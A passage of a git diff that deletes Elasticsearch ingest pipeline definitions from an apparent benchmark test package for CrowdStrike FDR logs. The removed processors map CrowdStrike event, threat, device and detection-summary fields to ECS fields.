-      if: ctx.file?.Ext?.original?.path != null && ctx.file.Ext.original.path.length() > 1
-      source: |-
-        def removeSuffix(String s, String suffix) {
-          if (s != null && suffix != null && s.endsWith(suffix)) {
-            return s.substring(0, s.length() - suffix.length());
-          }
-          return s;
-        }
-
-        def path = removeSuffix(ctx.file.Ext.original.path, "/");
-        path = removeSuffix(path, "\\");
-        def idx = path.lastIndexOf("\\");
-        if (idx == -1) {
-          idx = path.lastIndexOf("/");
-        }
-        if (idx > -1) {
-          ctx.file.Ext.original.name = path.substring(idx+1);
-        }
-  - rename:
-      tag: rename__temp_hashes_to_file_hash_4f3ee7d5
-      if: ctx.event?.action != null && (ctx.event.action.contains("File") || ctx.event.action.contains("Directory") || ctx.event.action.contains("Executable")) && ctx._temp?.hashes != null && ctx._temp?.hashes.size() > 0
-      field: _temp.hashes
-      target_field: file.hash
-  - set:
-      tag: set_process_name_e2490a66
-      if: ctx.event?.action != null && ctx.event.action.endsWith('Written')
-      field: process.name
-      copy_from: crowdstrike.ContextBaseFileName
-      ignore_empty_value: true
-  - set:
-      tag: set_process_executable_f5f831a3
-      if: ctx.event?.action != null && ctx.event.action.endsWith('Written') && ctx.host?.os?.type == 'windows'
-      field: process.executable
-      copy_from: crowdstrike.ContextImageFileName
-      ignore_empty_value: true
-  - set:
-      tag: set_file_hash_sha256_1abd2cde
-      if: ctx.event?.action != null && ctx.event.action.endsWith('Written') && ctx.host?.os?.type == 'linux'
-      field: file.hash.sha256
-      copy_from: crowdstrike.SHA256HashData
-      ignore_empty_value: true
-  - set:
-      tag: set_event_action_526984f8
-      if: ctx.event?.action != null && ctx.event.action.endsWith('Written') && ctx.host?.os?.type == 'windows'
-      field: event.action
-      value: creation
-
-  # Device Fields.
-  - set:
-      tag: set_device_id_from_crowdstrike_SensorId_99cb3a0a
-      field: device.id
-      copy_from: crowdstrike.SensorId
-      ignore_empty_value: true
-  - set:
-      tag: set_device_id_from_crowdstrike_DeviceId_d95e3c57
-      if: ctx.device?.id == null
-      field: device.id
-      copy_from: crowdstrike.DeviceId
-      ignore_empty_value: true
-  - set:
-      tag: set_device_id_from_observer_serial_number_d165cc83
-      if: ctx.device?.id == null
-      field: device.id
-      copy_from: observer.serial_number
-      ignore_empty_value: true
-
-  # Threat Fields.
-  - foreach:
-      tag: foreach_of_crowdstrike_Attacks_with_Technique_345d0faa
-      if: ctx.crowdstrike?.Attacks instanceof List
-      field: crowdstrike.Attacks
-      processor:
-        append:
-          tag: append_threat_technique_name_bbf3ed48
-          field: threat.technique.name
-          value: '{{{_ingest._value.Technique}}}'
-          allow_duplicates: false
-  - foreach:
-      tag: foreach_of_crowdstrike_Attacks_with_Tactic_345d0faa
-      if: ctx.crowdstrike?.Attacks instanceof List
-      field: crowdstrike.Attacks
-      processor:
-        append:
-          tag: append_threat_tactic_name_9aebe2d8
-          field: threat.tactic.name
-          value: '{{{_ingest._value.Tactic}}}'
-          allow_duplicates: false
-
-  - foreach:
-      tag: foreach_of_crowdstrike_MitreAttack_for_Tactic_268c02de
-      if: ctx.crowdstrike?.MitreAttack instanceof List
-      field: crowdstrike.MitreAttack
-      processor:
-        append:
-          tag: append_threat_tactic_name_b021c3ec
-          field: threat.tactic.name
-          value: '{{{_ingest._value.Tactic}}}'
-          allow_duplicates: false
-  - foreach:
-      tag: foreach_of_crowdstrike_MitreAttack_for_TacticID_268c02de
-      if: ctx.crowdstrike?.MitreAttack instanceof List
-      field: crowdstrike.MitreAttack
-      processor:
-        append:
-          tag: append_threat_tactic_id_4d499747
-          field: threat.tactic.id
-          value: '{{{_ingest._value.TacticID}}}'
-          allow_duplicates: false
-  - foreach:
-      tag: foreach_of_crowdstrike_MitreAttack_for_Technique_268c02de
-      if: ctx.crowdstrike?.MitreAttack instanceof List
-      field: crowdstrike.MitreAttack
-      processor:
-        append:
-          tag: append_threat_technique_name_af6387ac
-          field: threat.technique.name
-          value: '{{{_ingest._value.Technique}}}'
-          allow_duplicates: false
-  - foreach:
-      tag: foreach_of_crowdstrike_MitreAttack_for_TechniqueID_268c02de
-      if: ctx.crowdstrike?.MitreAttack instanceof List
-      field: crowdstrike.MitreAttack
-      processor:
-        append:
-          tag: append_threat_technique_id_70f7c093
-          field: threat.technique.id
-          value: '{{{_ingest._value.TechniqueID}}}'
-          allow_duplicates: false
-
-  # Package fields.
-  - script:
-      tag: set_browser_extension_architecture_value_8a719036
-      if: ctx.crowdstrike?.BrowserExtensionArchitecture != null
-      params:
-        "0": UNKNOWN
-        "1": MANIFEST_V2
-        "2": MANIFEST_V3
-        "3": SAFARI_APP
-      source: |-
-        ctx.package = ctx.package ?: [:];
-        ctx.package.architecture = params[ctx.crowdstrike.BrowserExtensionArchitecture];
-  - rename:
-      tag: rename_crowdstrike_BrowserExtensionInstalledTimestamp_to_package_installed_ae5bafc8
-      field: crowdstrike.BrowserExtensionInstalledTimestamp
-      target_field: package.installed
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_BrowserExtensionName_to_package_name_d5505948
-      field: crowdstrike.BrowserExtensionName
-      target_field: package.name
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_BrowserExtensionPath_to_package_path_647267b0
-      field: crowdstrike.BrowserExtensionPath
-      target_field: package.path
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_BrowserExtensionVersion_to_package_version_ba30a7f2
-      field: crowdstrike.BrowserExtensionVersion
-      target_field: package.version
-      ignore_missing: true
-
-  # Crowdstrike fields.
-  - split:
-      tag: split_crowdstrike_ContextProcessTagsAsString_e39a5350
-      field: crowdstrike.ContextProcessTagsAsString
-      separator: ','
-      ignore_missing: true
-  - split:
-      tag: split_crowdstrike_PatternIdList_6b5d8159
-      field: crowdstrike.PatternIdList
-      separator: ','
-      ignore_missing: true
-  - split:
-      tag: split_crowdstrike_ParentProcessPatternIdList_64341668
-      field: crowdstrike.ParentProcessPatternIdList
-      separator: ','
-      ignore_missing: true
-  - split:
-      tag: split_crowdstrike_GrandparentProcessPatternIdList_f5f8d60e
-      field: crowdstrike.GrandparentProcessPatternIdList
-      separator: ','
-      ignore_missing: true
-  - script:
-      tag: set_browser_extension_install_method_value_ac2ab447
-      if: ctx.crowdstrike?.BrowserExtensionInstallMethod != null
-      params:
-        "0": UNIDENTIFIED
-        "1": BROWSER
-        "2": WEBSTORE
-        "3": GPO
-        "4": SIDELOADED
-        "5": WEBSTORE_3RD_PARTY
-      source: ctx.crowdstrike.BrowserExtensionInstallMethod = params[ctx.crowdstrike.BrowserExtensionInstallMethod];
-  - split:
-      tag: split_crowdstrike_FalconGroupingTags_423c786c
-      field: crowdstrike.FalconGroupingTags
-      separator: ',\s?'
-      ignore_missing: true
-      ignore_failure: true
-  - split:
-      tag: split_crowdstrike_SensorGroupingTags_ed3b4811
-      field: crowdstrike.SensorGroupingTags
-      separator: ',\s?'
-      ignore_missing: true
-      ignore_failure: true
-  - script:
-      description: Convert tags for indexing as keyword.
-      tag: convert_tags_789cbb4f
-      if: ctx.crowdstrike?.Tags != null
-      source: |-
-        def result = [];
-
-        if (ctx.crowdstrike.Tags instanceof String) {
-          def parts = ctx.crowdstrike.Tags.splitOnToken(",");
-          for (def part : parts) {
-            def trimmed = part.trim();
-            if (trimmed != "") {
-              result.add(trimmed);
-            }
-          }
-        } else if (ctx.crowdstrike.Tags instanceof Map) {
-          for (def entry : ctx.crowdstrike.Tags.entrySet()) {
-            result.add(entry.getKey() + ":" + entry.getValue());
-          }
-        } else if (ctx.crowdstrike.Tags instanceof List) {
-          for (def tag : ctx.crowdstrike.Tags) {
-            if (tag instanceof Map) {
-              // this format is seen in the falcon data stream
-              result.add(tag["Key"] + ":" + tag["ValueString"]);
-            } else if (tag instanceof String) {
-              // this isn't expected but avoid throwing away indexable data
-              result.add(tag);
-            }
-          }
-        }
-
-        ctx.crowdstrike.Tags = result;
-  - split:
-      tag: split_crowdstrike_CallStackModuleNames_609f3d51
-      field: crowdstrike.CallStackModuleNames
-      separator: \|
-      ignore_missing: true
-      ignore_failure: true
-  - convert:
-      tag: convert_crowdstrike_UserTime_to_long_f085b7ec
-      field: crowdstrike.UserTime
-      type: long
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_KernelTime_to_long_33fe5662
-      field: crowdstrike.KernelTime
-      type: long
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_CycleTime_to_long_7a83e985
-      field: crowdstrike.CycleTime
-      type: long
-      ignore_missing: true
-  - append:
-      tag: append_related_hash_8fcac57a
-      if: ctx.crowdstrike?.ConfigStateHash != null && ctx.crowdstrike.ConfigStateHash != ""
-      field: related.hash
-      value: '{{{crowdstrike.ConfigStateHash}}}'
-      allow_duplicates: false
-      ignore_failure: true
-  - trim:
-      tag: trim_crowdstrike_BootArgs_f8d8d2c8
-      field: crowdstrike.BootArgs
-      ignore_missing: true
-  - split:
-      tag: split_crowdstrike_BootArgs_cf296683
-      field: crowdstrike.BootArgs
-      separator: \s+
-      ignore_missing: true
-  - date:
-      tag: date_crowdstrike_LogonTime_into_crowdstrike_LogonTime_c8a2b6df
-      if: ctx.crowdstrike?.LogonTime != null && ctx.crowdstrike.LogonTime != '' && ctx.crowdstrike.LogonTime != 'none'
-      field: crowdstrike.LogonTime
-      target_field: crowdstrike.LogonTime
-      formats:
-        - UNIX
-      ignore_failure: true
-  - date:
-      tag: date_crowdstrike_LogoffTime_into_crowdstrike_LogoffTime_1382cc79
-      if: ctx.crowdstrike?.LogoffTime != null && ctx.crowdstrike.LogoffTime != '' && ctx.crowdstrike.LogoffTime != 'none'
-      field: crowdstrike.LogoffTime
-      target_field: crowdstrike.LogoffTime
-      formats:
-        - UNIX
-      ignore_failure: true
-  - date:
-      tag: date_crowdstrike_ConnectTime_into_crowdstrike_ConnectTime_c13b62a8
-      if: ctx.crowdstrike?.ConnectTime != null && ctx.crowdstrike.ConnectTime != '' && ctx.crowdstrike.ConnectTime != 'none'
-      field: crowdstrike.ConnectTime
-      target_field: crowdstrike.ConnectTime
-      formats:
-        - UNIX
-      ignore_failure: true
-  - date:
-      tag: date_crowdstrike_PreviousConnectTime_into_crowdstrike_PreviousConnectTime_6679f281
-      if: ctx.crowdstrike?.PreviousConnectTime != null && ctx.crowdstrike.PreviousConnectTime != '' && ctx.crowdstrike.PreviousConnectTime != 'none'
-      field: crowdstrike.PreviousConnectTime
-      target_field: crowdstrike.PreviousConnectTime
-      formats:
-        - UNIX
-      ignore_failure: true
-  - date:
-      tag: date_crowdstrike_AgentLocalTime_into_crowdstrike_AgentLocalTime_e869dd14
-      if: ctx.crowdstrike?.AgentLocalTime != null && ctx.crowdstrike.AgentLocalTime != '' && ctx.crowdstrike.AgentLocalTime != 'none'
-      field: crowdstrike.AgentLocalTime
-      target_field: crowdstrike.AgentLocalTime
-      formats:
-        - UNIX
-      ignore_failure: true
-  - date:
-      tag: date_crowdstrike_FirstSeen_into_crowdstrike_FirstSeen_f4b197de
-      if: ctx.crowdstrike?.FirstSeen != null && ctx.crowdstrike.FirstSeen != '' && ctx.crowdstrike.FirstSeen != 'none'
-      field: crowdstrike.FirstSeen
-      target_field: crowdstrike.FirstSeen
-      formats:
-        - UNIX
-      ignore_failure: true
-  - date:
-      tag: date_crowdstrike_BiosReleaseDate_into_crowdstrike_BiosReleaseDate_767fd760
-      if: ctx.crowdstrike?.BiosReleaseDate != null && ctx.crowdstrike.BiosReleaseDate != '' && ctx.crowdstrike.BiosReleaseDate != 'none'
-      field: crowdstrike.BiosReleaseDate
-      target_field: crowdstrike.BiosReleaseDate
-      formats:
-        - MM/dd/yyyy
-        - strict_date_optional_time
-      ignore_failure: true
-  - convert:
-      tag: convert_crowdstrike_AgentTimeOffset_to_float_75f59e63
-      field: crowdstrike.AgentTimeOffset
-      type: float
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_Timeout_to_long_2991d669
-      field: crowdstrike.Timeout
-      type: long
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_PhysicalAddressLength_to_long_6bb860dd
-      field: crowdstrike.PhysicalAddressLength
-      type: long
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_InterfaceIndex_to_long_fe55bcd9
-      field: crowdstrike.InterfaceIndex
-      type: long
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_NetLuidIndex_to_long_9cf46a5f
-      field: crowdstrike.NetLuidIndex
-      type: long
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_AttemptNumber_to_long_8257d63c
-      field: crowdstrike.AttemptNumber
-      type: long
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_SystemTableIndex_to_long_386dfbbd
-      field: crowdstrike.SystemTableIndex
-      type: long
-      ignore_missing: true
-  - split:
-      tag: split_crowdstrike_NeighborList_1d18434a
-      field: crowdstrike.NeighborList
-      separator: \|
-      ignore_missing: true
-  - split:
-      tag: split_crowdstrike_ConfigStateData_e817cac5
-      field: crowdstrike.ConfigStateData
-      separator: \|
-      ignore_missing: true
-  - append:
-      tag: append_related_hosts_a0b784fd
-      if: ctx.crowdstrike?.LogonServer != null
-      field: related.hosts
-      value: '{{{crowdstrike.LogonServer}}}'
-      allow_duplicates: false
-  - append:
-      tag: append_related_hosts_84a3b58d
-      if: ctx.crowdstrike?.ClientComputerName != null
-      field: related.hosts
-      value: '{{{crowdstrike.ClientComputerName}}}'
-      allow_duplicates: false
-  - append:
-      tag: append_related_hosts_2d2dc803
-      if: ctx.crowdstrike?.info?.user?.LastLoggedOnHost != null
-      field: related.hosts
-      value: '{{{crowdstrike.info.user.LastLoggedOnHost}}}'
-      allow_duplicates: false
-
-  - script:
-      description: Remove long fields based on user input stored in _conf.long_fields*.
-      tag: script_remove_long_fields_90516c2a
-      if: ctx._conf?.long_fields == 'delete_long_fields' && ctx._conf?.long_fields_max_length != null
-      params:
-        potential_long_fields:
-          - DylibPath
-          - EnvironmentVariablesString
-          - TaskXml
-          - ScriptContentBytes
-          - RegBinaryValue
-          - ScriptContent
-          - FileContent
-          - VersionInfo
-          - OciContainerConfigImage
-          - OciContainerConfigLabels
-          - OciContainerConfigTty
-          - OciContainerEngineType
-          - OciContainerHostConfigOomKillDisable
-          - OciContainerHostConfigPrivileged
-          - OciContainerHostConfigPublishAllPorts
-          - OciContainerHostConfigReadOnlyRootfs
-          - OciContainerImageId
-          - OciContainerInfoRetransmitted
-          - OciContainerMounts
-          - OciContainerName
-          - OciContainerNetworkSettingsIpAddress
-          - OciContainerStateOOMKilled
-          - OciContainerStatePid
-          - OciContainerConfigUser
-          - OciContainerHostConfigCgroup
-          - DevicePropertyClassGuid
-          - DevicePropertyClassName
-          - DevicePropertyLocationInformation
-          - ConfigurationDescriptorName
-          - InstanceMetadata
-          - InstanceMetadataSignature
-          - OciContainerAppName
-          - OciContainerAppVersion
-          - ManagedPdbBuildPath
-          - RegStringValue
-          - InterfaceKind
-          - ScriptContentScanId
-          - EfiVariableCustomModeAttributes
-          - EfiVariableDbAttributes
-          - EfiVariableDbSha256Hash
-          - EfiVariableKekAttributes
-          - EfiVariableKekSha256Hash
-          - EfiVariablePkAttributes
-          - EfiVariablePkSha256Hash
-          - EfiVariableSecureBootAttributes
-          - EfiVariableSetupModeAttributes
-          - EfiVariableSignatureSupportAttributes
-          - ExtendedAttributeValue
-          - EfiVariableSetupMode
-          - EfiVariableSignatureSupport
-          - MmioDataSmiEn
-          - MmioDataTco1Cnt
-          - PciConfigDataBdsm
-          - PciConfigDataBiosCntl
-          - PciConfigDataGgc
-          - PciConfigDataHfsts1
-          - PciConfigDataRemapbase
-          - PciConfigDataRemaplimit
-          - PciConfigDataTom
-          - PciConfigDataTouud
-          - PciConfigDataTsegmb
-          - SpibarDataBfpr
-          - SpibarDataFreg0
-          - SpibarDataFreg1
-          - SpibarDataFreg2
-          - SpibarDataFreg3
-          - SpibarDataFreg4
-          - SpibarDataHsfs
-          - SpibarDataPr0
-          - SpibarDataPr1
-          - SpibarDataPr2
-          - SpibarDataPr3
-          - SpibarDataPr4
-          - SpibarDataVscc0
-          - SpibarDataVscc1
-          - VolumeSnapshotName
-          - MmioDataGenPmconB
-          - VolumeSnapshotTimeStamp
-          - OciContainerHostConfigDevices
-          - OciContainerPhase
-          - PatternIdList
-          - RPath
-          - VolumeOriginPath
-          - AccountDomain
-          - AccountObjectGuid
-          - AccountObjectSid
-          - DcNumAttachments
-          - DcNumBlockingPolicies
-          - ExtendedAttributeValueReadable
-          - FileVaultIsEnabled
-          - SamAccountName
-          - ServiceDependOnService
-          - ApplicationName
-          - BluetoothDeviceName
-          - BluetoothServiceUuid_1
-          - BluetoothServiceUuid_2
-          - BluetoothServiceUuid_3
-          - BluetoothServiceUuid_4
-          - BluetoothServiceUuid_5
-          - BluetoothVendorIdSource
-          - CommandCount
-          - CommandCountMax
-          - ConnectionAddressIP6
-          - FirstCommand
-          - LastAdded
-          - LastDisplayed
-          - ThreadStartBytes
-          - VolumeDeviceVendor
-          - BluetoothClassOfDeviceValue
-          - BluetoothServiceName_3
-          - BiosChanged
-          - BluetoothServiceUuid_6
-          - ChangedPcrBitmap
-          - ExecutableBytes
-          - ObjectNameEtw
-          - ObjectTypeEtw
-          - Pcr0
-          - Pcr1
-          - Pcr2
-          - Pcr3
-          - Pcr4
-          - Pcr5
-          - Pcr6
-          - Pcr7
-          - RpcOpClassification
-          - ServiceAccessPropertiesEtw
-          - ServiceDelayedAutoStart
-          - SubjectDomainNameEtw
-          - BluetoothDeviceAppearanceValue
-          - BluetoothDeviceModelNumber
-          - BluetoothServiceName_1
-          - BluetoothServiceName_4
-          - BluetoothServiceName_5
-          - BluetoothServiceName_6
-          - BluetoothServiceName_7
-          - BluetoothServiceName_8
-          - BluetoothServiceUuidArray
-          - BluetoothServiceUuid_7
-          - BluetoothServiceUuid_8
-          - ClientId
-          - HttpInternalSource
-          - HttpMethod
-          - HttpRequestHeader
-          - HttpUrl
-          - IndividualDiskInfo
-          - KeyObject
-          - LastPendingUpdateInstalledTime
-          - LaunchItemType
-          - LaunchItemUrl
-          - LdapSearchFilterSample
-          - MemoryAvailable
-          - OciContainersStartedCount
-          - OciContainersStoppedCount
-          - PciConfigDataGenPmconA
-          - PciConfigDataMesegBase
-          - PciConfigDataSmramc
-          - PendingUpdateIds
-          - ProcessAttributes
-          - QuarantinedFileExtendedState
-          - QuarantinedFileName
-          - QuarantinedFileState
-          - RegCreateDisposition
-          - RegCreateOptions
-          - RegPostObjectName
-          - RegRootObjectName
-          - SourceThreadModule
-          - StorageUsageInfo
-          - SystemProcessCount
-          - UninstallPendingUpdateIds
-      source: |-
-        for (String field: params.potential_long_fields) {
-          if (ctx.crowdstrike.get(field) != null && ctx.crowdstrike[field].length() > ctx._conf.long_fields_max_length) {
-            ctx.crowdstrike.remove(field);
-          }
-        }
-
-  # Cleanup.
-  - remove:
-      tag: remove_crowdstrike_event_platform_f15993d1
-      if: ctx.host?.os?.type != null
-      field:
-        - crowdstrike.event_platform
-      ignore_missing: true
-      ignore_failure: true
-  - remove:
-      tag: remove_142d62c1
-      if: ctx.aws?.s3?.bucket != null && ctx.aws.s3.object != null
-      field:
-        - log.file.path
-        - log.offset
-      ignore_missing: true
-      ignore_failure: true
-  - remove:
-      tag: remove_c559a4ef
-      if: ctx._conf?.prune_fields == true
-      field:
-        - agent.ephemeral_id
-        - event.timezone
-        - log.offset
-      ignore_missing: true
-      ignore_failure: true
-  - remove:
-      tag: remove_d684cf91
-      field:
-        - _temp
-        - crowdstrike.timestamp
-        - crowdstrike._time
-        - crowdstrike.Time
-        - crowdstrike.CreationTimeStamp
-        - crowdstrike.DomainName
-        - crowdstrike.ConnectionDirection
-        - crowdstrike.UserIsAdmin
-        - crowdstrike.UTCTimestamp
-        - crowdstrike.TargetDirectoryName
-        - crowdstrike.BrowserExtensionArchitecture
-        - crowdstrike.MitreAttack
-        - _conf
-      ignore_missing: true
-  - script:
-      description: This script processor iterates over the whole document to remove fields with null values.
-      tag: remove_nulls_0370f4ef
-      source: |-
-        void handleMap(Map map) {
-          map.values().removeIf(v -> {
-            if (v instanceof Map) {
-                handleMap(v);
-            } else if (v instanceof List) {
-                handleList(v);
-            }
-            return v == null || v == '' || v == '-' || v == 'none' || (v instanceof Map && v.size() == 0) || (v instanceof List && v.size() == 0)
-          });
-        }
-        void handleList(List list) {
-          list.removeIf(v -> {
-            if (v instanceof Map) {
-                handleMap(v);
-            } else if (v instanceof List) {
-                handleList(v);
-            }
-            return v == null || v == '' || v == '-' || v == 'none' || (v instanceof Map && v.size() == 0) || (v instanceof List && v.size() == 0)
-          });
-        }
-        handleMap(ctx);
-
-  # error handling
-  - set:
-      tag: set_pipeline_error_into_event_kind_92954dfa
-      if: ctx.error?.message != null
-      field: event.kind
-      value: pipeline_error
-  - append:
-      tag: append_preserve_original_event_into_tags_9fe66b2c
-      if: ctx.error?.message != null
-      field: tags
-      value: preserve_original_event
-      allow_duplicates: false
-on_failure:
-  - set:
-      tag: set_event_kind_f51b77ad
-      field: event.kind
-      value: pipeline_error
-  - append:
-      tag: append_tags_d762b9c5
-      field: tags
-      value: preserve_original_event
-      allow_duplicates: false
-  - append:
-      tag: append_error_message_e0c9bd63
-      field: error.message
-      value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/epp_detection_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/epp_detection_summary.yml
deleted file mode 100644
index d40bb25efa..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/epp_detection_summary.yml
+++ /dev/null
@@ -1,260 +0,0 @@
----
-description: Pipeline for processing Epp Detection Summary events.
-processors:
-
-  # EppDetectionSummaryEvent converts
-  - convert:
-      tag: convert_CloudIndicator_to_boolean_552bc0f4
-      if: ctx.crowdstrike?.CloudIndicator != null && ctx.crowdstrike?.CloudIndicator != ''
-      field: crowdstrike.CloudIndicator
-      type: boolean
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_CloudIndicator_7bd12275
-            field:
-              - crowdstrike.CloudIndicator
-        - append:
-            tag: append_error_message_1c33af04
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_PatternDispositionValue_to_long_1e7a32d8
-      if: ctx.crowdstrike?.PatternDispositionValue != null && ctx.crowdstrike?.PatternDispositionValue != ''
-      field: crowdstrike.PatternDispositionValue
-      type: long
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_PatternDispositionValue_b117c4a5
-            field:
-              - crowdstrike.PatternDispositionValue
-        - append:
-            tag: append_error_message_c637ab38
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_LocalIP_to_ip_85a6b836
-      if: ctx.crowdstrike?.LocalIP != null && ctx.crowdstrike.LocalIP != ''
-      field: crowdstrike.LocalIP
-      type: ip
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_LocalIP_f70dd2bb
-            field:
-              - crowdstrike.LocalIP
-        - append:
-            tag: append_error_message_c42100f6
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_LocalIPv6_to_ip_9e08b342
-      if: ctx.crowdstrike?.LocalIPv6 != null && ctx.crowdstrike.LocalIPv6 != ''
-      field: crowdstrike.LocalIPv6
-      type: ip
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_LocalIPv6_20f3473b
-            field:
-              - crowdstrike.LocalIPv6
-        - append:
-            tag: append_error_message_a7e996f2
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-
-  # timestamps
-  - foreach:
-      tag: foreach_crowdstrike_FilesAccessed_7975c0fe
-      if: ctx.crowdstrike?.FilesAccessed instanceof List
-      field: crowdstrike.FilesAccessed
-      processor:
-        date:
-          tag: date__ingest__value_Timestamp_b9dba206
-          field: _ingest._value.Timestamp
-          target_field: _ingest._value.Timestamp
-          formats:
-            - UNIX
-          on_failure:
-            - remove:
-                tag: remove__ingest__value_Timestamp_1e9e21da
-                field:
-                  - _ingest._value.Timestamp
-                ignore_failure: true
-            - append:
-                tag: append_error_message_8eaed846
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - foreach:
-      tag: foreach_crowdstrike_FilesWritten_069e87ee
-      if: ctx.crowdstrike?.FilesWritten instanceof List
-      field: crowdstrike.FilesWritten
-      processor:
-        date:
-          tag: date__ingest__value_Timestamp_3d945d16
-          field: _ingest._value.Timestamp
-          target_field: _ingest._value.Timestamp
-          formats:
-            - UNIX
-          on_failure:
-            - remove:
-                tag: remove__ingest__value_Timestamp_151916ea
-                field:
-                  - _ingest._value.Timestamp
-                ignore_failure: true
-            - append:
-                tag: append_error_message_cccd8556
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-
-  # event categorization fields
-  - set:
-      tag: set_event_kind_to_alert_39295792
-      field: event.kind
-      value: alert
-  - append:
-      tag: append_malware_category_425d1f27
-      field: event.category
-      value: malware
-  - append:
-      tag: append_info_type_8a66ccaa
-      field: event.type
-      value: info
-
-  # ECS field mappings
-  - rename:
-      tag: rename_crowdstrike_LocalIP_to_source_ip_383fbff4
-      if: ctx.crowdstrike?.LocalIP != null && ctx.crowdstrike.LocalIP != ""
-      field: crowdstrike.LocalIP
-      target_field: source.ip
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_ProcessId_to_string_7dfed8f3
-      if: ctx.crowdstrike?.ProcessId != null && !(ctx.crowdstrike.ProcessId instanceof String)
-      field: crowdstrike.ProcessId
-      type: string
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_ProcessId_to_process_pid_08662a31
-      if: ctx.process?.entity_id == null
-      field: crowdstrike.ProcessId
-      target_field: process.entity_id
-      ignore_missing: true
-  - split:
-      tag: split_crowdstrike_HostGroups_f53aac76
-      field: crowdstrike.HostGroups
-      separator: ','
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_ParentImageFileName_to_process_parent_executable_0b7a24c2
-      if: ctx.process?.parent?.name == null
-      field: crowdstrike.ParentImageFileName
-      target_field: process.parent.name
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_ParentImageFilePath_to_process_parent_executable_730e3198
-      if: ctx.process?.parent?.executable == null
-      field: crowdstrike.ParentImageFilePath
-      target_field: process.parent.executable
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_Description_to_message_bf015ca8
-      field: crowdstrike.Description
-      target_field: message
-      ignore_missing: true
-  - set:
-      tag: set_rule_description_from_message_1343fd6e
-      if: ctx.message != null
-      field: rule.description
-      copy_from: message
-  - set:
-      tag: set_process_name_from_crowdstrike_FileName_56043937
-      field: process.name
-      copy_from: crowdstrike.FileName
-      ignore_empty_value: true
-  - set:
-      tag: set_process_executable_from_crowdstrike_FilePath_68aaf1a2
-      field: process.executable
-      copy_from: crowdstrike.FilePath
-      ignore_empty_value: true
-  - rename:
-      tag: rename_crowdstrike_SHA256String_to_file_hash_sha256_aa319d9c
-      field: crowdstrike.SHA256String
-      target_field: file.hash.sha256
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_MD5String_to_file_hash_md5_adef1944
-      field: crowdstrike.MD5String
-      target_field: file.hash.md5
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_SHA1String_to_file_hash_sha1_b607b768
-      field: crowdstrike.SHA1String
-      target_field: file.hash.sha1
-      ignore_missing: true
-  - append:
-      tag: append_file_hash_sha1_to_related_hash_c997d53d
-      if: ctx.file.hash.sha1 != null && ctx.file.hash.sha1 != ""
-      field: related.hash
-      value: '{{{file.hash.sha1}}}'
-      allow_duplicates: false
-  - append:
-      tag: append_file_hash_sha256_to_related_hash_78d565ff
-      if: ctx.file.hash.sha256 != null && ctx.file.hash.sha256 != ""
-      field: related.hash
-      value: '{{{file.hash.sha256}}}'
-      allow_duplicates: false
-  - append:
-      tag: append_file_hash_md5_to_related_hash_6d53928a
-      if: ctx.file.hash.md5 != null && ctx.file.hash.md5 != ""
-      field: related.hash
-      value: '{{{file.hash.md5}}}'
-      allow_duplicates: false
-  - rename:
-      tag: rename_crowdstrike_FileName_to_file_name_ef2fa373
-      field: crowdstrike.FileName
-      target_field: file.name
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_FilePath_to_file_path_da7c5277
-      field: crowdstrike.FilePath
-      target_field: file.path
-      ignore_missing: true
-  - rename:
